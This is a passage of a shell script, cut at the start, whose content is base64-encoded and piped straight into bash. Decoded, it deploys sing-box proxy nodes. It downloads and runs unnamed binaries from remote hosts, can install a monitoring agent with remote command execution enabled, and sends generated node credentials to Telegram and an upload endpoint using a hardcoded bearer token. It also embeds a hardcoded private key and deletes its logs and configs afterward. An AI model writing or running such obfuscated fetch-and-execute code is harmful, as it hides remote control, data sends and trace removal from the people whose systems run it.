BdOyB0aGVuCiAgICAgICAgcm0gLXJmICIke0ZJTEVfUEFUSH0vJChiYXNlbmFtZSAke0ZJTEVfTUFQWyRrZXldfSkiID4vZGV2L251bGwgMj4mMQogICAgZmkKZG9uZQp9CmRvd25sb2FkX2FuZF9ydW4KCmdldF9hcmdvZG9tYWluKCkgewppZiBbICIkRElTQUJMRV9BUkdPIiA9PSAnZmFsc2UnIF07IHRoZW4KICBpZiBbWyAtbiAkQVJHT19BVVRIIF1dOyB0aGVuCiAgICBlY2hvICIkQVJHT19ET01BSU4iCiAgZWxzZQogICAgbG9jYWwgcmV0cnk9MAogICAgbG9jYWwgbWF4X3JldHJpZXM9OAogICAgbG9jYWwgYXJnb2RvbWFpbj0iIgogICAgd2hpbGUgW1sgJHJldHJ5IC1sdCAkbWF4X3JldHJpZXMgXV07IGRvCiAgICAgICgocmV0cnkrKykpCiAgICAgIGFyZ29kb21haW49JChzZWQgLW4gJ3N8LipodHRwczovL1woW14vXSp0cnljbG91ZGZsYXJlXC5jb21cKS4qfFwxfHAnICR7RklMRV9QQVRIfS9ib290LmxvZykKICAgICAgaWYgW1sgLW4gJGFyZ29kb21haW4gXV07IHRoZW4KICAgICAgICBicmVhawogICAgICBmaQogICAgICBzbGVlcCAxCiAgICBkb25lCiAgICBlY2hvICIkYXJnb2RvbWFpbiIKICBmaQpmaQp9CgpzZW5kX3RlbGVncmFtKCkgewogIFsgLWYgIiR7RklMRV9QQVRIfS9zdWIudHh0IiBdIHx8IHJldHVybgogIE1FU1NBR0U9JChjYXQgIiR7RklMRV9QQVRIfS9zdWIudHh0IikKICBMT0NBTF9NRVNTQUdFPSIqJHtOQU1FfeiKgueCueaOqOmAgemAmuefpSpcYFxgXGAke01FU1NBR0V9XGBcYFxgIgogIEJPVF9NRVNTQUdFPSI8Yj4ke05BTUV96IqC54K55o6o6YCB6YCa55+lPC9iPlxuPHByZT4ke01FU1NBR0V9PC9wcmU+IgogIGlmIFsgLW4gIiR7Qk9UX1RPS0VOfSIgXSAmJiBbIC1uICIke0NIQVRfSUR9IiBdOyB0aGVuCiAgICBjdXJsIC1zIC1YIFBPU1QgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3Qke0JPVF9UT0tFTn0vc2VuZE1lc3NhZ2UiIFwKICAgICAgLWQgImNoYXRfaWQ9JHtDSEFUX0lEfSZ0ZXh0PSR7TE9DQUxfTUVTU0FHRX0mcGFyc2VfbW9kZT1NYXJrZG93biIgPiAvZGV2L251bGwKCiAgZWxpZiBbIC1uICIke0NIQVRfSUR9IiBdOyB0aGVuCiAgICBjdXJsIC1zIC1YIFBPU1QgImh0dHA6Ly9hcGkudGcuZ3ZyYW5kZXIuZXUub3JnL2FwaS9ub3RpZnkiIFwKICAgICAgLUggIkF1dGhvcml6YXRpb246IEJlYXJlciBlSldSZ3hDNExjem5LTGlVaURvVXN3QG5NZ0RCQ0NTVWs2SXcwUzlQYnMiIFwKICAgICAgLUggIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbiIgXAogICAgICAtZCAiJChwcmludGYgJ3siY2hhdF9pZCI6ICIlcyIsICJtZXNzYWdlIjogIiVzIn0nICIke0NIQVRfSUR9IiAiJHtCT1RfTUVTU0FHRX0iKSIgPiAvZGV2L251bGwKICBlbHNlCiAgICBlY2hvIC1lICJcblxlWzE7MzVtVEcgdmFyaWFibGUgaXMgZW1wdHksc2tpcCBzZW50XGVbMG0iCiAgICByZXR1cm4KICBmaQoKICBpZiBbICQ/IC1lcSAwIF07IHRoZW4KICAgIGVjaG8gLWUgIlxuXGVbMTszMm1Ob2RlcyBzZW50IHRvIFRHIHN1Y2Nlc3NmdWxseVxlWzBtIgogIGVsc2UKICAgIGVjaG8gLWUgIlxuXGVbMTszMW1GYWlsZWQgdG8gc2VuZCBub2RlcyB0byBUR1xlWzBtIgogIGZpCn0KCnVwbG9kX25vZGVzKCkgewogICAgW1sgLXogJFVQTE9BRF9VUkwgfHwgISAtZiAiJHtGSUxFX1BBVEh9L2xpc3QudHh0IiBdXSAmJiByZXR1cm4KICAgIGNvbnRlbnQ9JChjYXQgJHtGSUxFX1BBVEh9L2xpc3QudHh0KQogICAgbm9kZXM9JChlY2hvICIkY29udGVudCIgfCBncmVwIC1FICcodmxlc3N8dm1lc3N8dHJvamFufGh5c3RlcmlhMnx0dWljKTovLycpCiAgICBbWyAteiAkbm9kZXMgXV0gJiYgcmV0dXJuCiAgICBub2Rlcz0oJG5vZGVzKQogICAganNvbl9kYXRhPSd7Im5vZGVzIjogWycKICAgIGZvciBub2RlIGluICIke25vZGVzW0BdfSI7IGRvCiAgICAgICAganNvbl9kYXRhKz0iXCIkbm9kZVwiLCIKICAgIGRvbmUKICAgIGpzb25fZGF0YT0ke2pzb25fZGF0YSUsfQogICAganNvbl9kYXRhKz0nXX0nCgogICAgY3VybCAtWCBQT1NUICIkVVBMT0FEX1VSTC9hcGkvYWRkLW5vZGVzIiBcCiAgICAgICAgIC1IICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24iIFwKICAgICAgICAgLWQgIiRqc29uX2RhdGEiID4gL2Rldi9udWxsIDI+JjEKCiAgICBpZiBbWyAkPyAtZXEgMCBdXTsgdGhlbgogICAgICAgIGVjaG8gLWUgIlwwMzNbMTszMm1Ob2RlcyB1cGxvYWRlZCBzdWNjZXNzZnVsbHlcMDMzWzBtIgogICAgZWxzZQogICAgICAgIGVjaG8gLWUgIlwwMzNbMTszMW1GYWlsZWQgdG8gdXBsb2FkIG5vZGVzXDAzM1swbSIKICAgIGZpCn0KCmFyZ29kb21haW49JChnZXRfYXJnb2RvbWFpbikKWyAiJERJU0FCTEVfQVJHTyIgPT0gJ2ZhbHNlJyBdICYmIGVjaG8gLWUgIlxlWzE7MzJtQXJnb0RvbWFpbjpcZVsxOzM1bSR7YXJnb2RvbWFpbn1cZVswbVxuIgpJUD0kKGN1cmwgLXMgLS1tYXgtdGltZSAyIGlwdjQuaXAuc2IgfHwgY3VybCAtcyAtLW1heC10aW1lIDEgYXBpLmlwaWZ5Lm9yZyB8fCB7IGlwdjY9JChjdXJsIC1zIC0tbWF4LXRpbWUgMSBpcHY2LmlwLnNiKTsgZWNobyAiWyRpcHY2XSI7IH0gfHwgZWNobyAiWFhYIikKSVNQPSQoY3VybCAtcyAtLW1heC10aW1lIDIgaHR0cHM6Ly9zcGVlZC5jbG91ZGZsYXJlLmNvbS9tZXRhIHwgYXdrIC1GXCIgJ3twcmludCAkMjYiLSIkMTh9JyB8IHNlZCAtZSAncy8gL18vZycgfHwgZWNobyAiMC4wIikKY29zdG9tX25hbWUoKSB7IGlmIFsgLW4gIiROQU1FIiBdOyB0aGVuIGVjaG8gIiR7TkFNRX1fJHtJU1B9IjsgZWxzZSBlY2hvICIke0lTUH0iOyBmaTsgfQoKVk1FU1M9InsgXCJ2XCI6IFwiMlwiLCBcInBzXCI6IFwiJChjb3N0b21fbmFtZSlcIiwgXCJhZGRcIjogXCIke0NGSVB9XCIsIFwicG9ydFwiOiBcIiR7Q0ZQT1JUfVwiLCBcImlkXCI6IFwiJHtVVUlEfVwiLCBcImFpZFwiOiBcIjBcIiwgXCJzY3lcIjogXCJub25lXCIsIFwibmV0XCI6IFwid3NcIiwgXCJ0eXBlXCI6IFwibm9uZVwiLCBcImhvc3RcIjogXCIke2FyZ29kb21haW59XCIsIFwicGF0aFwiOiBcIi92bWVzcy1hcmdvP2VkPTI1NjBcIiwgXCJ0bHNcIjogXCJ0bHNcIiwgXCJzbmlcIjogXCIke2FyZ29kb21haW59XCIsIFwiYWxwblwiOiBcIlwiLCBcImZwXCI6IFwiZmlyZWZveFwifSIKCmlmIFsgIiRESVNBQkxFX0FSR08iID09ICdmYWxzZScgXTsgdGhlbgpjYXQgPiAke0ZJTEVfUEFUSH0vbGlzdC50eHQgPDxFT0YKdm1lc3M6Ly8kKGVjaG8gIiRWTUVTUyIgfCBiYXNlNjQgfCB0ciAtZCAnXG4nKQpFT0YKZmkKCmlmIFsgIiRUVUlDX1BPUlQiICE9ICIiIF07IHRoZW4KICBlY2hvIC1lICJcbnR1aWM6Ly8ke1VVSUR9OmFkbWluQCR7SVB9OiR7VFVJQ19QT1JUfT9zbmk9d3d3LmJpbmcuY29tJmFscG49aDMmY29uZ2VzdGlvbl9jb250cm9sPWJiciMkKGNvc3RvbV9uYW1lKSIgPj4gJHtGSUxFX1BBVEh9L2xpc3QudHh0CmZpCgppZiBbICIkSFkyX1BPUlQiICE9ICIiIF07IHRoZW4KICBlY2hvIC1lICJcbmh5c3RlcmlhMjovLyR7VVVJRH1AJHtJUH06JHtIWTJfUE9SVH0vP3NuaT13d3cuYmluZy5jb20mYWxwbj1oMyZpbnNlY3VyZT0xIyQoY29zdG9tX25hbWUpIiA+PiAke0ZJTEVfUEFUSH0vbGlzdC50eHQKZmkKCmlmIFsgIiRSRUFMSVRZX1BPUlQiICE9ICIiIF07IHRoZW4KICBlY2hvIC1lICJcbnZsZXNzOi8vJHtVVUlEfUAke0lQfToke1JFQUxJVFlfUE9SVH0/ZW5jcnlwdGlvbj1ub25lJmZsb3c9eHRscy1ycHJ4LXZpc2lvbiZzZWN1cml0eT1yZWFsaXR5JnNuaT13d3cubmF6aHVtaS5jb20mZnA9ZmlyZWZveCZwYms9JHtwdWJsaWNfa2V5fSZ0eXBlPXRjcCZoZWFkZXJUeXBlPW5vbmUjJChjb3N0b21fbmFtZSkiID4+ICR7RklMRV9QQVRIfS9saXN0LnR4dApmaQoKYmFzZTY0ICR7RklMRV9QQVRIfS9saXN0LnR4dCB8IHRyIC1kICdcbicgPiAke0ZJTEVfUEFUSH0vc3ViLnR4dApjYXQgJHtGSUxFX1BBVEh9L2xpc3QudHh0CmVjaG8gLWUgIlxuXG5cZVsxOzMybSR7RklMRV9QQVRIfS9zdWIudHh0IHNhdmVkIHN1Y2Nlc3NmdWxseVxlWzBtIgp1cGxvZF9ub2RlcwpzZW5kX3RlbGVncmFtCmVjaG8gLWUgIlxuXGVbMTszMm1SdW5uaW5nIGRvbmUhXGVbMG1cbiIKc2xlZXAgMyAKCnJtIC1yZiAke0ZJTEVfUEFUSH0vYm9vdC5sb2cgJHtGSUxFX1BBVEh9L2NvbmZpZy5qc29uICR7RklMRV9QQVRIfS9zYi5sb2cgJHtGSUxFX1BBVEh9L2NvcmUgJHtGSUxFX1BBVEh9L2Zha2VfdXNlcmFnZW50XzAuMi4wLmpzb24gJHtGSUxFX1BBVEh9L2xpc3QudHh0ICR7RklMRV9QQVRIfS90dW5uZWwuanNvbiAke0ZJTEVfUEFUSH0vdHVubmVsLnltbCBmYWtlX3VzZXJhZ2VudF8wLjIuMC5qc29uID4vZGV2L251bGwgMj4mMQplY2hvIC1lICJcZVsxOzMybVRlbGVncmFt576k57uE77yaXGVbMTszNW1odHRwczovL3QubWUvZW9vY2V1XGVbMG0iCmVjaG8gLWUgIlxlWzE7MzJtWW91dHViZemikemBk++8mlxlWzE7MzVtaHR0cHM6Ly93d3cueW91dHViZS5jb20vQGVvb2NlXGVbMG0iCmVjaG8gLWUgIlxlWzE7MzJtR2l0aHVi5Zyw5Z2AOiBcZVsxOzM1bUdpdGh1Yu+8mmh0dHBzOi8vZ2l0aHViLmNvbS9lb29jZS9zaW5nLWJveFxlWzBtXG4iCmVjaG8gLWUgIlxuXGVbMTszMm1sb2dzIHdpbGwgYmUgZGVsZXRlZCBpbiAxNSBzZWNvbmRzIVxlWzBtXG4iCnNsZWVwIDE1IApjbGVhcgplY2hvIC1lICJcblxlWzE7MzJtc2VydmVyIGlzIHJ1bm5pbmcuLi5cZVswbVxuIgo=" | base64 -d | bash +echo "aWYgWyAtZiAiLmVudiIgXTsgdGhlbgogICAgIyDkvb/nlKggc2VkIOenu+mZpCBleHBvcnQg5YWz6ZSu5a2X77yM5bm26L+H5ruk5rOo6YeK6KGMCiAgICBzZXQgLW8gYWxsZXhwb3J0ICAjIOS4tOaXtuW8gOWQr+iHquWKqOWvvOWHuuWPmOmHjwogICAgc291cmNlIDwoZ3JlcCAtdiAnXiMnIC5lbnYgfCBzZWQgJ3MvXmV4cG9ydCAvLycgKQogICAgc2V0ICtvIGFsbGV4cG9ydCAgIyDlhbPpl63oh6rliqjlr7zlh7oKZmkKClsgISAtZCAiJHtGSUxFX1BBVEh9IiBdICYmIG1rZGlyIC1wICIke0ZJTEVfUEFUSH0iCgpkZWxldGVfb2xkX25vZGVzKCkgewogIFtbIC16ICRVUExPQURfVVJMIHx8ICEgLWYgIiR7RklMRV9QQVRIfS9zdWIudHh0IiBdXSAmJiByZXR1cm4KICBvbGRfbm9kZXM9JChiYXNlNjQgLWQgIiR7RklMRV9QQVRIfS9zdWIudHh0IiB8IGdyZXAgLUUgJyh2bGVzc3x2bWVzc3x0cm9qYW58aHlzdGVyaWEyfHR1aWMpOi8vJykKICBbWyAteiAkb2xkX25vZGVzIF1dICYmIHJldHVybgoKICBqc29uX2RhdGE9J3sibm9kZXMiOiBbJwogIGZvciBub2RlIGluICRvbGRfbm9kZXM7IGRvCiAgICAgIGpzb25fZGF0YSs9IlwiJG5vZGVcIiwiCiAgZG9uZQogIGpzb25fZGF0YT0ke2pzb25fZGF0YSUsfSAgCiAganNvbl9kYXRhKz0nXX0nCgogIGN1cmwgLVggREVMRVRFICIkVVBMT0FEX1VSTC9hcGkvZGVsZXRlLW5vZGVzIiBcCiAgICAgICAgLUggIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbiIgXAogICAgICAgIC1kICIkanNvbl9kYXRhIiA+IC9kZXYvbnVsbCAyPiYxCn0KZGVsZXRlX29sZF9ub2RlcwoKcm0gLXJmIGJvb3QubG9nIGNvbmZpZy5qc29uIHR1bm5lbC5qc29uIHR1bm5lbC55bWwgIiR7RklMRV9QQVRIfS9zdWIudHh0IiA+L2Rldi9udWxsIDI+JjEKCmFyZ29fY29uZmlndXJlKCkgewogIGlmIFsgIiRESVNBQkxFX0FSR08iID09ICd0cnVlJyBdOyB0aGVuCiAgICBlY2hvIC1lICJcZVsxOzMybURpc2FibGUgYXJnbyB0dW5uZWxcZVswbSIKICAgIHJldHVybgogIGZpCiAgaWYgW1sgLXogJEFSR09fQVVUSCB8fCAteiAkQVJHT19ET01BSU4gXV07IHRoZW4KICAgIGVjaG8gLWUgIlxlWzE7MzJtQVJHT19ET01BSU4gb3IgQVJHT19BVVRIIHZhcmlhYmxlIGlzIGVtcHR5LCB1c2UgcXVpY2sgdHVubmVsc1xlWzBtIiAgIAogICAgcmV0dXJuCiAgZmkKCiAgaWYgW1sgJEFSR09fQVVUSCA9fiBUdW5uZWxTZWNyZXQgXV07IHRoZW4KICAgIGVjaG8gJEFSR09fQVVUSCA+ICR7RklMRV9QQVRIfS90dW5uZWwuanNvbgogICAgY2F0ID4gdHVubmVsLnltbCA8PCBFT0YKdHVubmVsOiAkKGN1dCAtZFwiIC1mMTIgPDw8ICIkQVJHT19BVVRIIikKY3JlZGVudGlhbHMtZmlsZTogJHtGSUxFX1BBVEh9L3R1bm5lbC5qc29uCnByb3RvY29sOiBodHRwMgoKaW5ncmVzczoKICAtIGhvc3RuYW1lOiAkQVJHT19ET01BSU4KICAgIHNlcnZpY2U6IGh0dHA6Ly9sb2NhbGhvc3Q6JEFSR09fUE9SVAogICAgb3JpZ2luUmVxdWVzdDoKICAgICAgbm9UTFNWZXJpZnk6IHRydWUKICAtIHNlcnZpY2U6IGh0dHBfc3RhdHVzOjQwNApFT0YKICBlbHNlCiAgICBlY2hvIC1lICJcZVsxOzMybVVzaW5nIHRva2VuIGNvbm5lY3QgdG8gdHVubmVsLHBsZWFzZSBzZXQgJEFSR09fUE9SVCBpbiBjbG91ZGZsYXJlIHR1bm5lbFxlWzBtIgogIGZpCn0KYXJnb19jb25maWd1cmUKd2FpdAoKZG93bmxvYWRfYW5kX3J1bigpIHsKQVJDSD0kKHVuYW1lIC1tKSAmJiBGSUxFX0lORk89KCkKaWYgWyAiJEFSQ0giID09ICJhcm0iIF0gfHwgWyAiJEFSQ0giID09ICJhcm02NCIgXSB8fCBbICIkQVJDSCIgPT0gImFhcmNoNjQiIF07IHRoZW4KICAgIEJBU0VfVVJMPSJodHRwczovL2FybTY0LnNzc3MubnljLm1uIgplbGlmIFsgIiRBUkNIIiA9PSAiYW1kNjQiIF0gfHwgWyAiJEFSQ0giID09ICJ4ODZfNjQiIF0gfHwgWyAiJEFSQ0giID09ICJ4ODYiIF07IHRoZW4KICAgIEJBU0VfVVJMPSJodHRwczovL2FtZDY0LnNzc3MubnljLm1uIgplbGlmIFsgIiRBUkNIIiA9PSAiczM5MHgiIF0gfHwgWyAiJEFSQ0giID09ICJzMzkwIiBdOyB0aGVuCiAgICBCQVNFX1VSTD0iaHR0cHM6Ly9zMzkweC5zc3NzLm55Yy5tbiIKZWxzZQogICAgZWNobyAiVW5zdXBwb3J0ZWQgYXJjaGl0ZWN0dXJlOiAkQVJDSCIKICAgIGV4aXQgMQpmaQpGSUxFX0lORk89KCIkQkFTRV9VUkwvc2Igd2ViIiAiJEJBU0VfVVJML2JvdCBib3QiKQoKaWYgWyAtbiAiJE5FWkhBX1NFUlZFUiIgXSAmJiBbIC1uICIkTkVaSEFfUE9SVCIgXSAmJiBbIC1uICIkTkVaSEFfS0VZIiBdOyB0aGVuCiAgICBGSUxFX0lORk8rPSgiJEJBU0VfVVJML2FnZW50IG5wbSIpCmVsaWYgWyAtbiAiJE5FWkhBX1NFUlZFUiIgXSAmJiBbIC1uICIkTkVaSEFfS0VZIiBdOyB0aGVuCiAgICBGSUxFX0lORk8rPSgiJEJBU0VfVVJML3YxIHBocCIpCiAgICBORVpIQV9UTFM9JChjYXNlICIke05FWkhBX1NFUlZFUiMjKjp9IiBpbiA0NDN8ODQ0M3wyMDk2fDIwODd8MjA4M3wyMDUzKSBlY2hvIC1uIHRydWU7OyAqKSBlY2hvIC1uIGZhbHNlOzsgZXNhYykKICAgIGNhdCA+ICIke0ZJTEVfUEFUSH0vY29uZmlnLnlhbWwiIDw8IEVPRgpjbGllbnRfc2VjcmV0OiAke05FWkhBX0tFWX0KZGVidWc6IGZhbHNlCmRpc2FibGVfYXV0b191cGRhdGU6IHRydWUKZGlzYWJsZV9jb21tYW5kX2V4ZWN1dGU6IGZhbHNlCmRpc2FibGVfZm9yY2VfdXBkYXRlOiB0cnVlCmRpc2FibGVfbmF0OiBmYWxzZQpkaXNhYmxlX3NlbmRfcXVlcnk6IGZhbHNlCmdwdTogZmFsc2UKaW5zZWN1cmVfdGxzOiB0cnVlCmlwX3JlcG9ydF9wZXJpb2Q6IDE4MDAKcmVwb3J0X2RlbGF5OiA0CnNlcnZlcjogJHtORVpIQV9TRVJWRVJ9CnNraXBfY29ubmVjdGlvbl9jb3VudDogdHJ1ZQpza2lwX3Byb2NzX2NvdW50OiB0cnVlCnRlbXBlcmF0dXJlOiBmYWxzZQp0bHM6ICR7TkVaSEFfVExTfQp1c2VfZ2l0ZWVfdG9fdXBncmFkZTogZmFsc2UKdXNlX2lwdjZfY291bnRyeV9jb2RlOiBmYWxzZQp1dWlkOiAke1VVSUR9CkVPRgplbHNlCiAgICBlY2hvIC1lICJcZVsxOzM1bXNraXAgZG93bmxvYWQgbmV6aGFcZVswbSIKZmkKCmRlY2xhcmUgLUEgRklMRV9NQVAKZ2VuZXJhdGVfcmFuZG9tX25hbWUoKSB7CiAgICBsb2NhbCBjaGFycz1hYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejEyMzQ1Njc4OTAKICAgIGxvY2FsIG5hbWU9IiIKICAgIGZvciBpIGluIHsxLi42fTsgZG8KICAgICAgICBuYW1lPSIkbmFtZSR7Y2hhcnM6UkFORE9NJSR7I2NoYXJzfToxfSIKICAgIGRvbmUKICAgIGVjaG8gIiRuYW1lIgp9CmRvd25sb2FkX2ZpbGUoKSB7CiAgICBsb2NhbCBVUkw9JDEKICAgIGxvY2FsIE5FV19GSUxFTkFNRT0kMgoKICAgIGlmIGNvbW1hbmQgLXYgY3VybCA+L2Rldi9udWxsIDI+JjE7IHRoZW4KICAgICAgICBjdXJsIC1MIC1zUyAtbyAiJE5FV19GSUxFTkFNRSIgIiRVUkwiCiAgICAgICAgZWNobyAtZSAiXGVbMTszMm1Eb3dubG9hZGVkICRORVdfRklMRU5BTUUgYnkgY3VybFxlWzBtIgogICAgZWxpZiBjb21tYW5kIC12IHdnZXQgPi9kZXYvbnVsbCAyPiYxOyB0aGVuCiAgICAgICAgd2dldCAtcSAtTyAiJE5FV19GSUxFTkFNRSIgIiRVUkwiCiAgICAgICAgZWNobyAtZSAiXGVbMTszMm1Eb3dubG9hZGVkICRORVdfRklMRU5BTUUgYnkgd2dldFxlWzBtIgogICAgZWxzZQogICAgICAgIGVjaG8gLWUgIlxlWzE7MzNtTmVpdGhlciBjdXJsIG5vciB3Z2V0IGlzIGF2YWlsYWJsZSBmb3IgZG93bmxvYWRpbmdcZVswbSIKICAgICAgICBleGl0IDEKICAgIGZpCn0KZm9yIGVudHJ5IGluICIke0ZJTEVfSU5GT1tAXX0iOyBkbwogICAgVVJMPSQoZWNobyAiJGVudHJ5IiB8IGN1dCAtZCAnICcgLWYgMSkKICAgIFJBTkRPTV9OQU1FPSQoZ2VuZXJhdGVfcmFuZG9tX25hbWUpCiAgICBORVdfRklMRU5BTUU9IiR7RklMRV9QQVRIfS8kUkFORE9NX05BTUUiCiAgICAKICAgIGRvd25sb2FkX2ZpbGUgIiRVUkwiICIkTkVXX0ZJTEVOQU1FIgogICAgCiAgICBjaG1vZCAreCAiJE5FV19GSUxFTkFNRSIKICAgIEZJTEVfTUFQWyQoZWNobyAiJGVudHJ5IiB8IGN1dCAtZCAnICcgLWYgMildPSIkTkVXX0ZJTEVOQU1FIgpkb25lCndhaXQKCiMg5qOA5p+lcmVhbGl0eeWvhumSpeaWh+S7tuaYr+WQpuWtmOWcqO+8jOWtmOWcqOWImeivu+WPlu+8jOWQpuWImeeUn+aIkOaWsOeahAppZiBbIC1mICIke0ZJTEVfUEFUSH0va2V5LnR4dCIgXTsgdGhlbgogICAgIyDlsJ3or5Xor7vlj5blr4bpkqUKICAgIHByaXZhdGVfa2V5PSQoZ3JlcCAiUHJpdmF0ZUtleToiICIke0ZJTEVfUEFUSH0va2V5LnR4dCIgfCBhd2sgJ3twcmludCAkMn0nKQogICAgcHVibGljX2tleT0kKGdyZXAgIlB1YmxpY0tleToiICIke0ZJTEVfUEFUSH0va2V5LnR4dCIgfCBhd2sgJ3twcmludCAkMn0nKQogICAgCiAgICBpZiBbIC1uICIkcHJpdmF0ZV9rZXkiIF0gJiYgWyAtbiAiJHB1YmxpY19rZXkiIF07IHRoZW4KICAgICAgICB0cnVlCiAgICBlbHNlCiAgICAgICAgIyDor7vlj5blpLHotKXvvIzph43mlrDnlJ/miJAKICAgICAgICBvdXRwdXQ9JCgiJHtGSUxFX1BBVEh9LyQoYmFzZW5hbWUgJHtGSUxFX01BUFt3ZWJdfSkiIGdlbmVyYXRlIHJlYWxpdHkta2V5cGFpcikKICAgICAgICBlY2hvICIkb3V0cHV0IiA+ICIke0ZJTEVfUEFUSH0va2V5LnR4dCIKICAgICAgICBwcml2YXRlX2tleT0kKGVjaG8gIiR7b3V0cHV0fSIgfCBhd2sgJy9Qcml2YXRlS2V5Oi8ge3ByaW50ICQyfScpCiAgICAgICAgcHVibGljX2tleT0kKGVjaG8gIiR7b3V0cHV0fSIgfCBhd2sgJy9QdWJsaWNLZXk6LyB7cHJpbnQgJDJ9JykKICAgIGZpCmVsc2UKICAgIG91dHB1dD0kKCIke0ZJTEVfUEFUSH0vJChiYXNlbmFtZSAke0ZJTEVfTUFQW3dlYl19KSIgZ2VuZXJhdGUgcmVhbGl0eS1rZXlwYWlyKQogICAgZWNobyAiJG91dHB1dCIgPiAiJHtGSUxFX1BBVEh9L2tleS50eHQiCiAgICBwcml2YXRlX2tleT0kKGVjaG8gIiR7b3V0cHV0fSIgfCBhd2sgJy9Qcml2YXRlS2V5Oi8ge3ByaW50ICQyfScpCiAgICBwdWJsaWNfa2V5PSQoZWNobyAiJHtvdXRwdXR9IiB8IGF3ayAnL1B1YmxpY0tleTovIHtwcmludCAkMn0nKQpmaQoKIyDnlJ/miJDor4Hkuablkoznp4HpkqUKaWYgY29tbWFuZCAtdiBvcGVuc3NsID4vZGV2L251bGwgMj4mMTsgdGhlbgogICAgb3BlbnNzbCBlY3BhcmFtIC1nZW5rZXkgLW5hbWUgcHJpbWUyNTZ2MSAtb3V0ICIke0ZJTEVfUEFUSH0vcHJpdmF0ZS5rZXkiCiAgICBvcGVuc3NsIHJlcSAtbmV3IC14NTA5IC1kYXlzIDM2NTAgLWtleSAiJHtGSUxFX1BBVEh9L3ByaXZhdGUua2V5IiAtb3V0ICIke0ZJTEVfUEFUSH0vY2VydC5wZW0iIC1zdWJqICIvQ049YmluZy5jb20iCmVsc2UKICAgICMg5Yib5bu656eB6ZKl5paH5Lu2CiAgICBjYXQgPiAiJHtGSUxFX1BBVEh9L3ByaXZhdGUua2V5IiA8PCAnRU9GJwotLS0tLUJFR0lOIEVDIFBBUkFNRVRFUlMtLS0tLQpCZ2dxaGtqT1BRTUJCdz09Ci0tLS0tRU5EIEVDIFBBUkFNRVRFUlMtLS0tLQotLS0tLUJFR0lOIEVDIFBSSVZBVEUgS0VZLS0tLS0KTUhjQ0FRRUVJTTQ3OTJTRXRQcUl0MXl3cVRkLzBiWWlkQnFwWVYvKytzaU5uZkJZc2RVWW9Bb0dDQ3FHU000OQpBd0VIb1VRRFFnQUUxa0hhZlBqMDdySkcrSGJvSDJla0FJNHIrZTZUTDM4R1dBU0FObm5nWnJlb1FERjE2QVJhCi9Uc3lMeUZvUGtoTHhTYmVoSC9OQkVqSHRTWkdhRGhNcVE9PQotLS0tLUVORCBFQyBQUklWQVRFIEtFWS0tLS0tCkVPRgoKICAgICMg5Yib5bu66K+B5Lmm5paH5Lu2CiAgICBjYXQgPiAiJHtGSUxFX1BBVEh9L2NlcnQucGVtIiA8PCAnRU9GJwotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0KTUlJQmVqQ0NBU0dnQXdJQkFnSVVmV2VRTDM1NTZQTkpMcC92ZUNGeEdOajljcmt3Q2dZSUtvWkl6ajBFQXdJdwpFekVSTUE4R0ExVUVBd3dJWW1sdVp5NWpiMjB3SGhjTk1qVXdPVEU0TVRneU1ESXlXaGNOTXpVd09URTJNVGd5Ck1ESXlXakFUTVJFd0R3WURWUVFEREFoaWFXNW5MbU52YlRCWk1CTUdCeXFHU000OUFnRUdDQ3FHU000OUF3RUgKQTBJQUJOWkIybno0OU82eVJ2aDI2QjlucEFDT0svbnVreTkvQmxnRWdEWjU0R2EzcUVBeGRlZ0VXdjA3TWk4aAphRDVJUzhVbTNvUi96UVJJeDdVbVJtZzRUS21qVXpCUk1CMEdBMVVkRGdRV0JCVFYxY0ZJRDdVSVNFN1BMVEJSCkJmR2Jna3JNTnpBZkJnTlZIU01FR0RBV2dCVFYxY0ZJRDdVSVNFN1BMVEJSQmZHYmdrck1OekFQQmdOVkhSTUIKQWY4RUJUQURBUUgvTUFvR0NDcUdTTTQ5QkFNQ0EwY0FNRVFDSUFJREFKdmcwdmQveXRyUVZ2RWNTbTZYVGxCKwplUTZPRmI5TGJMWUw5ZitzQWlBZmZvTWJpNHkvMFlVU2xUdHo3YXM5UzgvbGNpQkY1VkNVb1ZJS1MrdlgyZz09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0KRU9GCmZpCgogIGNhdCA+ICR7RklMRV9QQVRIfS9jb25maWcuanNvbiA8PCBFT0YKewogICAgImxvZyI6IHsKICAgICAgImRpc2FibGVkIjogdHJ1ZSwKICAgICAgImxldmVsIjogImVycm9yIiwKICAgICAgInRpbWVzdGFtcCI6IHRydWUKICAgIH0sCiAgICAiaW5ib3VuZHMiOiBbCiAgICB7CiAgICAgICJ0YWciOiAidm1lc3Mtd3MtaW4iLAogICAgICAidHlwZSI6ICJ2bWVzcyIsCiAgICAgICJsaXN0ZW4iOiAiOjoiLAogICAgICAibGlzdGVuX3BvcnQiOiAke0FSR09fUE9SVH0sCiAgICAgICAgInVzZXJzIjogWwogICAgICAgIHsKICAgICAgICAgICJ1dWlkIjogIiR7VVVJRH0iCiAgICAgICAgfQogICAgICBdLAogICAgICAidHJhbnNwb3J0IjogewogICAgICAgICJ0eXBlIjogIndzIiwKICAgICAgICAicGF0aCI6ICIvdm1lc3MtYXJnbyIsCiAgICAgICAgImVhcmx5X2RhdGFfaGVhZGVyX25hbWUiOiAiU2VjLVdlYlNvY2tldC1Qcm90b2NvbCIKICAgICAgfQogICAgfSQoaWYgWyAiJFRVSUNfUE9SVCIgIT0gIiIgXTsgdGhlbiBlY2hvICcsCiAgICB7CiAgICAgICJ0YWciOiAidHVpYy1pbiIsCiAgICAgICJ0eXBlIjogInR1aWMiLAogICAgICAibGlzdGVuIjogIjo6IiwKICAgICAgImxpc3Rlbl9wb3J0IjogJyR7VFVJQ19QT1JUfScsCiAgICAgICJ1c2VycyI6IFsKICAgICAgICB7CiAgICAgICAgICAidXVpZCI6ICInJHtVVUlEfSciLAogICAgICAgICAgInBhc3N3b3JkIjogImFkbWluIgogICAgICAgIH0KICAgICAgXSwKICAgICAgImNvbmdlc3Rpb25fY29udHJvbCI6ICJiYnIiLAogICAgICAidGxzIjogewogICAgICAgICJlbmFibGVkIjogdHJ1ZSwKICAgICAgICAiYWxwbiI6IFsKICAgICAgICAgICJoMyIKICAgICAgICBdLAogICAgICAgICJjZXJ0aWZpY2F0ZV9wYXRoIjogIicke0ZJTEVfUEFUSH0nL2NlcnQucGVtIiw